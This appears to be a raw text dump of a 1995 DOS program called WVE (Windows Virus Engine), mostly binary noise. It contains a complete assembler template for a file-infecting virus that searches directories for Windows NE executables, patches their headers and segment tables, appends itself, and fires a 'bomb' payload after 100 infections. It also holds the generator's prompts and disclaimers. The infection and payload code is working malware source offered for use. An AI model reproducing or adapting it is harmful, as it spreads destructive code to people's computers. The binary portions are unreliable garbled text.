MZ2 >Pjr[l)ff.Z0!.,ڣ}{w.N>uNjعCC&8ùىuy+f&>(s&>(G;sډ{+؎JW!_ҋf&>(3.Zn))+>'vG>}r@w>~r7X!r*g'!r H!r@HI!r X!s< t @p&3.Z\)n)6s6q6o6m6kaP.ZVWn)n)_^ËLF!/5![]5!_a5!ce5!gi%ʎںm!%[!%_!%c!%g!Á\)t2׋;t#&?t\)t&:g&8gw&gӃ;t&?&t&_&Wô@!ù=.ZP@U%jjjYP)Yh#jdY  tjjjYjY]UjYjYjYjYzh#IjYjYhxMmjYjYEh>#jYjYhl 8$hG#>"uhV#-_>"uh#"h"2>"uh#"h"hA$" h"]Vh$exFFF=.;Ft.gu뿃uj Yh$)jYj |Yh$ jlY3^NYnyU$jHYjWYh$j/Yj>Yh$("h$">"uh%"hG%"]VjYjYph%?jYjYh%h" /h%h"""" u h%#6"6"h/Pjh % >"u6"6"h.Pjh$ 6"6"h.Pjh$ >"t>"u~h%h"!## u h%6#6#jjFP" #&G u6"6"jjFPT$ #&G t6#6#(&>"u6"6"h.Pjh$ 6"6"h/-Pjh/# >"th%h" ## u h(&hO&6"6" 386#6#jjFP! 6"6"FPhT&6"6" F|6#6#jjFPr! 6"6"FPhY&6"6"F #&G ug6#6#6"6"he-Pjhe" h*" 6"6"M^UjhLPFRY[RP]U>`& u`&Fn)`&3]UC2V!r ^&3P]UCVN!r3P]UVv u`&`&n)>`&u;b&D~u ud&f&v-Y^]U3PPv]UP3Pv]3PP3PøPP3PyYQ3YQYQYQUVWF V ^N u ti teu y ؃ y ۃ W33;r w;r+@[tƋt؃_^]t3[Ssـ ˀ3 } у/sЊ% } у+s2+ӊЊ%UVv |X~W6&((( ރ#&(6^]UVvV^]UD^!%]U"VW~ ^$w\rWFN }~t &-G؃v+6F +6F uNN6, s:FV F _^]U3Pvvv PPaPb]U^で'BF ^NV!rP]UF F u^ F )vF Fuڸ(VFRPv v gRPy(Pv v (V F ] Uv v3PP^&?u^&&PyV FFPv vI tV F]Vt^QЊŊYˊ%;u;UF((]Ë((Z5N(((%U^'tP?^N V!rP]ù;'s8LJ'Ƈl&h&PXz&A;'rȠl&PY u&j&Pj&t3P3PPh&Pi& &PYY u&~&P~&t3P3PP|&P3& UP3PPv]UAV!r3P]Ê'@'UVWFFPFJW2I_6GNu3SQRj+jPWv v V uFFP~jZY[j~~v& t<%t6GNv&<%t~3ɉNF NFF&2Ћ؀ `s(v.wNπwNĀw~+tV봃fN 릀wMFu)N6~6Fs y؃NFnu׉FasʵFT,0wF |F2uF tFNeNfY FV3҈V~6 FV~6GGvFt6GG~~ u u ~ucNRPWǘPFPSV }Vv~^67CC^F t6CC^:Z6FfN+ϋV;vV~6F~26vV~F u 6=F 6=F u(K;NvNvV~N }WQ^SR#FPFt F FP1~FtV ~&=-uI+~V&=-t F tO&~~ N }N~^#F=ufou ~FxtXuN@KKn}FNFu  rK;F@t 0aF[V ~'++&<-t< t<+u& )t'&)FFF@PF@PNRPFPPeVv)F F(;F}(F(F(;F}P(P(P(P(PPI NN tVvF^] 09WRWWHUP3PPvvFP]UvvvvYYP3PP]U^F&^F&:t3 ^&?u߸]UQ@Yt tVj<u<t&<@uڳt=2 <t&<uP Xt >t@]ôwPYk&)&)UF)Q&):)t-)?:)&)>)u@&>~)@>)v>)@s >)t3)>)@t @&)>)t PR )P u u3)>)u ))(()()(]ú))@!')@!ÜC@@ӝV3uH)F)Fd|^UV3ҋ^3PRH)F)[Yډ^N;s~wr#~rn^y3;Vru;Fr^].;t7ڎ>t.8.;t.3P.#.....R3P6Î.;t.&>u&[&Ў&>u& &Q&؃>tá&&;t&... t!Ӝ66ӝ&.UVW.V t.;u._^]P.3PPj%t+3.PRQXP3ۊܱ.SP8[=t..ډ3P3ۊܱ.SP[=t8%u..ډSR3SPZ[=tB3Ë)ڣۉU3ҋF UVF VW.t^rAu; . t . tڎ9s;u&v3w#._^]S.6V.6Vs u[SJ t7@@3ʁvv.Z.;tDNj+&6&P&ю&>t&>&>ָS&S3PZU3UV F^VW... t: t>r>u8 &;rwӸCRP@ SP"3._^]UVvF+6{?;6J)uFVD{;v+6{V6{TYYЃu ƱJ)뺡{£3^]UVFr VFw vvZ u3]U3ұmFV|=vYN^]VFVrҋVFwFVvv tVF]À>L)t L)M)!V>L)t PY^U>L)t L)FM)]UN(FF(F:(r!:(wF:(r:(w V]UVW~vWVvv  u3/F+@Fvv WVRPvFF F;v ~߸_^]UVW~F+@FvWVRPvv v>FF F;v ~߸_^]UVDF^N !r ~uP]À>L)t !UVWv~ vVvW t#v vF+FV R+ƋVR u3S։~F;v} ׉vF)v +ƋVRRPvWRPF+F@Pe~FF;u͸_^]UFPP3PP]&T)UFȠ)P3[ش)*ЈVF]U^&^&;t ^&:)rƲ^&]U VW~FFF ; )u3F t v v `FF; )u3F tcvv=FU~tFPFP]S ^&7F~tFPFP5Ɗܹ $ ^ &7F O uV_^] UV) u> )tv v vvR9v v vvR] UVW^ v~)Ƞ);w;w;;w9Vw ;v3_^]UV.) ^&FB;V~]U) t0> )u&~tF F FF~tF PF PFPFPF @PF P `PFPF PFPF P `PF PFP?`PFPFPFPF P5 F @PF PFHPFPF PF P `PF PF PF PF P `PF PFP`PF PFPF q>)fFn N vV] UJ^F!rSPX]ô(+@(+@UN CFV!rP]UV;'r PLJ'RY]U>^!r LJ'3Pk]UF;'rP[^'tLD^!r>€u5B3ɋ!r.RPB3ɋ!FVZYrB!r;Vr w;Fr3P]UV^&G;Ft^&t+&?} vSvYY uk^&Gt &w &w YY^&| &GPY^&G&G&&G&t3PPPP&wRPYY^&G^]UVF Fu^&G;Ft^&?|N&Gu&GV;Fu}&9W uw^&&GV;Fu`&9W uZ&G &W&G&W HF^&G&@&)7P&G &W&G&W PR&GPe;t^&Gu&O]3^]UVW36'^Fh&^&Gt vSYYGFN u_^]UVW3^ F &) u ^&G@t^&gߠ)^]h&PYYUVW~vN sڋVF_^]UN$(ǩuP܃~u#>&(t 6&(nǀt3F t=PPtvv3PF }WYvvv* }vVvv |`3PWYYFt! t!% 3RPPW tWFtttPPvv |/t3ց RFt3Z Ћ㉗'_^]UNu uV"N =!rFF% ^㉇'FPۋ]U^&vSFP]UVF)^&?}R&&G&w &G )&F&GuF>) t >) t5vv]YY u#"^&Gu&Gu ^&O^&O&tk&?t vSYY u^&G&&G&w &G )&F&Gu>) t >) tvvYY ub^&G'tP3PP^&GPڃ>) u%^&G@uPN)P&GP=uP)P^&GP=t^&Gu)^]U|&Pvk]UVW~~^&Gt-!vv^ F &P7=u3O u^&G@u&u&9sa&?t vSYY u^&G'tP3PP^&GPكWv v ^&GP;r u^&|$&?u &+G&vv,YY tDWv v ^&w&w D ^&&& ^&G'tP3PP^&GPكWv v ^&GP;s}x^&tQF^&} &G&w &G ^ F &&´vv^ F &P=u~O uWv v ^&GPM;sXF_^] UVWF;'r PcF @=r ^'t3v vvvzكF@=r ^'@uFbNv&<t.< tSPFPv/ك[F;u SPPQv׃^く'[+_^]UVW~ v^&G;Fu v>R)u~|&uR)>P)u ~h&uP)^&?tP3PPvS ^&Gt &w &wYY^&g&GFV&G &W&G&W tX vTb&"6F F uVUYV F uM^&O@^F V&G&W &G &W&wu&O3_^]UVW~2u~+tIs_^]UW~3;Fu;t H_]UVW~;>'r P*%F @=s3'tP3PPWՃ'@uv vvWで'FVFVF FsN^F&F< u ^& F^F&FrV3+Ѓ |Bur:rv3+VPWm;tuOF +FCrVF~tzrv3+ v"VrPW ;ttF +F _^]U^'tP!@^N V!rP^く'XP]UV3^Fh&;6's^&Gt vSYYFF;6'r^]UV^Fh&^&Gt vSYYNF u^]Borland C++ - Copyright 1991 Borland Intl.Divide error Abnormal program termination );GENERATED WITH WVE v1.00 (c) 1995 Stalker X jumps .model tiny .stack 512 .code .286P assume cs:@code,ds:@code org 0 START: pusha ;save all general regs push ds ;save ds push es ;save es FUSE: jmp Fused ;first time no DPMI jmp DPMIdetect ;goto dpmi code Fused: mov ax,cs ;ax=cs mov ds,ax ;ds=ax mov word ptr cs:[FUSE],9090h;blow fuse after 1st run jmp DPMIFin ;skip dpmi code DPMIdetect: mov ax,1686h ;check for dpmi int 2fh ;do check or ax,ax ;check return jz DPMIfound ;if 0 then dpmi jmp EXIT ;exit if no dpmi DPMIfound: mov ax,000ah ;get alias selector push cs ;save cs pop bx ;restore cs in bx int 31h ;do get alias push ax ;save ax pop ds ;restore ax ds cmp [BCount],100 ;Check Bomb Count jl DPMIFin ;Skip if less call Bomb ;drop bomb DPMIFin: mov ah,1ah ;set DTA mov dx,offset DTA ;set DTA ofs int 21h ;do set DTA FindFirst: xor cx,cx ;set f attrib mov ah,4eh ;find first file mov dx,offset FSPEC ;set fspec int 21h ;do find it jc EXIT ;exit if no exe found Check: call Chk4WinEXE ;check if it's a win exe jc FindNext ;go to next exe if not win call Infect ;infect the win EXE mov ah,3eh ;close the exe file int 21h ;do it jmp EXIT ;exit to infect only 1 file FindNext: mov ah,4fh ;find next file int 21h ;do find it jnc Check ;go check again for win ChangeDIR: mov dx,offset DOTDOT ;'..' mov ah,3bh ;change dir int 21h ;do change now jnc FindFirst ;find first file in dir EXIT: pop es ;restore es pop ds ;restore ds popa ;restore all general regs db 0eah ;far Jmp ret_ip dw 0 ;exit program ret_set dw 0ffffh ;- Chk4WinEXE: mov dx,offset F_Name ;set file name ofs mov ax,3d02h ;open file for r/w int 21h ;do open file jc ChkErExit ;exit on error mov bx,ax ;save handle in bx mov si,offset BUFF ;si=offset of buffer mov ah,3fh ;read function mov dx,offset BUFF ;dx=offset of buffer mov cx,512 ;read 512 bytes int 21h ;do read bytes cmp byte ptr [si+18h],40h ;check relocation jb ChkFinF ;exit if not ok cmp word ptr [si+3ch],400h ;check NE offset je ChkFin ;exit if not ok ChkFinF: mov ah,3eh ;close file int 21h ;do close file ChkErExit: stc ;return error retn ;retn ChkFin: clc ;return ok retn ;do it Infect: mov ax,4200h ;move r/w pointer xor cx,cx ;cx=0 xor dx,dx ;dx=0 int 21h ;do move r/w pointer mov si,offset BUFF ;si=offset buffer sub word ptr [si+3ch],8 ;move NE back 8 bytes mov ah,40h ;write to file mov dx,offset BUFF ;set source offset mov cx,3eh ;write EXE header back int 21h ;do write header back mov ax,4200h ;move r/w pointer xor cx,cx ;cx=0 mov dx,400h ;set offset int 21h ;do move r/w pointer mov ah,3fh ;read from file mov dx,offset BUFF ;dx=offset of buffer mov cx,512 ;read header int 21h ;do read from file mov ax,word ptr [si+1ch] ;ax=segment count mov cl,8 ;Assume Segs<255 mul cl ;multiply to get bytes xor dx,dx ;dx=0 add ax,word ptr [si+22h] ;ax=total tab size adc dx,0 ;add with carry(just incase) mov cx,512 ;dx:ax/512 div cx ;do it mov [Move512],ax ;Number of 512pages to mov mov [MoveLft],dx ;Number of leftover bytes push word ptr [si+32h] ;save file alignment value pop [Al_Sh] ;save alignment shift value mov [Seek],400h ;setup seek var inc word ptr [si+1ch] ;inc segment count push word ptr [si+16h] ;save host cs pop [hostcs] ;save NE cs push word ptr [si+14h] ;save host ip pop [hostip] ;save NE ip mov ax,word ptr [si+1ch] ;ax=number of segments mov word ptr [si+14h],0 ;set new ip mov word ptr [si+16h],ax ;set new cs mov ax,word ptr [si+22h] ; cmp word ptr [si+04h],ax ; jb CmpRes ; add word ptr [si+04h],8 ; CmpRes: cmp word ptr [si+24h],ax ; jb CmpResi ; add word ptr [si+24h],8 ; CmpResi: cmp word ptr [si+26h],ax ; jb CmpModule ; add word ptr [si+26h],8 ; CmpModule: cmp word ptr [si+28h],ax ; jb CmpImp ; add word ptr [si+28h],8 ; CmpImp: cmp word ptr [si+2ah],ax ; jb MoveHead ; add word ptr [si+2ah],8 ; MoveHead: mov ax,[Move512] ;loop to move NE head or ax,ax ;check if counter=0 jz Last ;exit if counter=0 dec [Move512] ;counter=counter-1 mov ax,4200h ;move r/w pointer xor cx,cx ;cx=0 mov dx,[Seek] ;dx=seek sub dx,8 ;dx=dx-8 int 21h ;do move r/w pointer mov ah,40h ;write to file mov dx,offset BUFF ;dx=source offset mov cx,512 ;write 512 bytes int 21h ;do write 512 bytes add [Seek],512 ;seek=seek+512 mov ax,4200h ;move r/w pointer xor cx,cx ;cx=0 mov dx,[Seek] ;dx=seek int 21h ;do move r/w pointer mov ah,3fh ;read file mov dx,offset BUFF ;dx=offset buffer mov cx,512 ;read 512 bytes int 21h ;do read 512 bytes jmp MoveHead ;continue to move header Last: mov ax,4202h ;seek end of file xor cx,cx ;cx=0 xor dx,dx ;dx=0 int 21h ;do seek mov cl,byte ptr [Al_Sh] ;cl=shift count push bx ;save bx mov bx,1 ;bx=1 shl bx,cl ;calc shift mov cx,bx ;cx=bx pop bx ;restore bx div cx ;divide with shift mov di,offset BUFF ;di=buffer offset add di,[MoveLft] ;calc where to patch mov word ptr [di],ax ;patch insert segment tab mov word ptr [di+2],offset ALL_VIR mov word ptr [di+4],1180h mov word ptr [di+6],offset ALL_CODE+(offset ALL_DATA - offset ALL_CODE) mov ax,4200h ;move r/w pointer xor cx,cx ;cx=0 mov dx,[Seek] ;dx=seek sub dx,8 ;dx=dx-8 int 21h ;do move r/w pointer mov ah,40h ;write to file mov dx,offset BUFF ;dx=source offset mov cx,[MoveLft] ;write bytes left add cx,8 ;cx=cx+8 (+segment entry) int 21h ;do write to file mov ax,4202h ;seek end of file xor cx,cx ;cx=0 xor dx,dx ;dx=0 int 21h ;do seek push [ret_ip] ;save link push [ret_set] ;save link mov [ret_ip],0 ;setup relocation mov [ret_set],0FFFFh ;! mov [relocation],1 ;! mov [reloc2],3 ;! mov [reloc3],4 ;! mov [reloc4],offset ret_ip ;! inc [BCount] mov ah,40h ;write to file xor dx,dx ;dx=0 mov cx,offset ALL_CODE ;write the hole body int 21h ;do write pop [ret_set] ;restore link pop [ret_ip] ;restore link retn ;return from infection BCount db 0 DOTDOT db '..',0 FSPEC db '*.exe',0 ALL_VIR: relocation dw 1 reloc2 db 3 reloc3 db 4 reloc4 dw offset ret_ip hostcs dw 0 hostip dw 0 ALL_CODE: DTA db 21 dup(0) Attrib db 0 F_Time dw 0 F_Date dw 0 F_SizeL dw 0 F_SizeH dw 0 F_Name db 13 dup(0) TMP dw 0 Move512 dw 0 MoveLft dw 0 Al_Sh dw 0 Seek dw 0 BUFF db 512 dup(0) ALL_DATA: END START Bomb: mov ax,2 mov bx,0A000h int 31h mov es,ax mov ax,2 mov bx,0h int 31h mov bx,ds mov ds,ax xor si,si xor di,di mov cx,32000 rep movsw mov ds,bx retn Welcome to WVE (Windows Virus Engine). WVE was designed and developed by Stalker X. Before you use this program PLEASE make sure of your legal rights in your country. I cannot be held responsible for the action's of the people who use this program. The Virus code generated by this program will infect 'NE' style Windows EXE's. The code was tested under OS/2 Warp and works Fine. As long as the host OS can run Windows 3.x EXE's this virus will work. The Virus does not go TSR within Windows, it infects on execution of the infected EXE. The Assembler code generated by this program will be TASM compatible. NOTE: Make sure to run the Virus in a DOS session where there is no disk buffering. Infection works fine under OS/2 Warp it takes care of the boot-before-write problem, it just closes the window and the virus is saved. This program is also based on one of my other programs called VKIT. This is a RSA Production. :-] or what's left of it anyway. Soos hulle s: 'n boer maak 'n plan.Die program mag dalk onwettig wees om te gebruik! Maak eers seker van jou regte voordat jy die program gebruik! Jy mag nie 'n rekenaar besmet met 'n rekenaar virus sonder die eienaar se toestemming nie. Dit is onwettig om 'n virus vir iemand te gee met die doel om sy rekenaar inligting te beskading. Ek glo nie dit sal saak maak as dit onwettig is nie, sal dit? Jy moet besluit. Ek kan net nie aanspreeklik gehou word vir jou dade nie!The virus was created. Remember that your 'bomb' code must be compatible with protected mode programs. You may edit the virus code to your taste. :)Press any key to continue WVE v1.00 (c) 1995 Stalker X Nota: Thank you. Sorry but the author cannot accept responsibility! Aborting Virus writing process. Please enter the name of the TEXT file containing the TEXT message: -> Please enter the name of the file containing the 'BOMB' assembler: -> Please enter the name of the source file that will be generated (No file extension needed) ->(Y/N)? YES NO Virus Code Setup: Do you want an imbedded message in the VirusDo you want your 'BOMB' triggerDo you want your own 'BOMB' code includedDo you agree that the author of this software cannot be held responsible for want you plan to do with the virus code Writing Code..... .asmwb Error creating virus file!rb Error reading 'Bomb' code file! Aborting... Error reading text file! Aborting... db %hu,%hu  h& |&&C&B&```@###TMP.$$$(null)       COMPAQprint scanf : floating point formats not linked R  GRpb PcdEZ\^   M  n=L^lx{{ !& ") #) $G %J &J 'v (y )y * + , - . / 0 1' 2| 3 4 5 6 7 8 9 : ;<=k>?H@wABCDEFGHI8JKL2MhNOPQ R STUwV~WjXY7ZP[P\m]m^_`(akbcdCeXf g h3!i"j"k"l"m"n"o #p>#q#rX$s%t&u&v%'wZ'xf(yv)z){H*|+}+~+,,,?.../0B0,224E4d455"6f[f_fcfgfkfmfqfufwfyf{f}f}f}f~ffffffffff/feffxfl f*"f"f"f"f"f"f"f"f"f#f`&fb&fd&ff&fh&f'f'f"(f$(f&(f((f(f(f(f )fL)fM)fT)fV)fn)f  V    (  + __cleanup__checknull__terminate__restorezero_abortDGROUP@__MMODEL@Wait$qv_main@YesNo$qv@AskQ$qv@GenVir$qv@random$qi_atexit__dos_getfileattr__dos_setfileattr_exit__exit__cexit__c_exitN_LDIV@LDIV@F_LDIV@N_LUDIV@F_LUDIV@LUDIV@N_LMOD@F_LMOD@LMOD@N_LUMOD@LUMOD@F_LUMOD@N_LXLSH@LXLSH@F_LXLSH@N_PADD@F_PADD@PADD@N_PSUB@F_PSUB@PSUB@__IOERROR__DOSERROR_isatty__LONGTOA__UTOA_lseek__MKNAME__TMPNAMN_LXMUL@N_PCMP@_srand_rand__read__setupio_tell_unlink__VPRINTER__VPTR__VRAM__stpcpy_cgets_clreol_clrscr_textcolor_textbackground_textattr_highvideo_lowvideo_normvideo__CPUTN_cprintf_cputs__VideoInt__c0crtinit__crtinit_delay___first___last___rover_free_farfree_malloc_farmalloc_realloc_farrealloc__brk__sbrk_getch__Ngetche_getche__Nungetch_ungetch_gotoxy_gettext_puttext_ioctl_kbhit_movetext_putch__REALCVT__SCREENIO__VALIDATEXY__SCROLL_setblock__wherexy_wherex_wherey__chmod_close__close_eof_fclose_fflush_flushall__OPENFP__GETFP_fopen_fprintf_fread_fseek_ftell_fwrite__fgetc__Nfgetc_fgetc_fgetchar_memcpy_open__open__fputc_fputc_fputchar__FPUTN___read_setvbuf_strcat_strlen___write__write__xfclose__xfflushDATASEG@__Int0Vector__Int4Vector__Int5Vector__Int6Vector__C0argc__C0argv__C0environ__envLng__envseg__envSize__psp__osversion__osmajor__version__osminor_errno__StartTime___brklvl__heapbase__brklvl__heaptop_FirstPart_SecondPart_ThirdPart_LastPart1_LastPart2_BombPart_Notice_Notice2_Notice3_UseMessage_UseBomb_UseOwnBomb_IAgree_TextName_BombName_Vname_Vfile_XFile__atexitcnt__exitbuf__exitfopen__exitopen__streams__nfile__openfd__fmode__notUmask__doserrno__dosErrorToSV__stklen__wscroll__video_directvideo__cFlag__cChar__RealCvtVector__ScanTodVector__atexittbl__turboCrt__cvtfak__AHSHIFT__AHINCRWVE.CPPWVE